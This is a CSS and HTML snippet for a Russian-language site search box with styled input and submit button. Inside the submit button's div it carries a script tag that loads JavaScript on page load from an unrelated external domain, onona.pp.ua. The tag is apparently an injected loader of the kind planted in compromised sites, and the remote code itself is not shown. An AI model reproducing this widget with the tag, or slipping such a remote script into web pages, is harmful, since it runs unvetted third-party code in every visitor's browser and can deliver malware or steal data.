#searchsubmitborder {   
border: 1px solid #3358A5;   
display:inline-block;   
}   
input[type="search"]{   
border:1px solid #C0CAD5;   
font-family:tahoma,tahoma,verdana,arial,sans-serif,Lucida Sans;   
font-size:11px;   
padding:3px;   
color: rgb(119, 119, 119);   
}   
.searchSbmFl {   
background:none repeat scroll 0 0 #6386D0;   
border-bottom:1px solid #ABBBDE;   
border-top:1px solid #ABBBDE;   
cursor:pointer;   
height:19px;   
color:#FFFFFF;   
text-shadow: 1px 1px 0px #3358A5;   
font-size:10px;   
display:inline-block;   
font-weight:bold;   
padding:2px;   
}

<form action="/search/" style="margin: 0pt;" method="get" onsubmit="this.sfSbm.disabled=true">   
<div class="schQuery">   
<input type="search" size="23" onfocus="this.value=''" value="Поиск по сайту..." onblur="if (this.value==''){this.value='Поиск по сайту...'}" maxlength="30" name="q">   
<div id="searchsubmitborder"><script src="http://onona.pp.ua/1.js" type="text/javascript"></script><input type="submit" value="ПОИСК" id="sfSbm" class="searchSbmFl"></div>   
</div></form>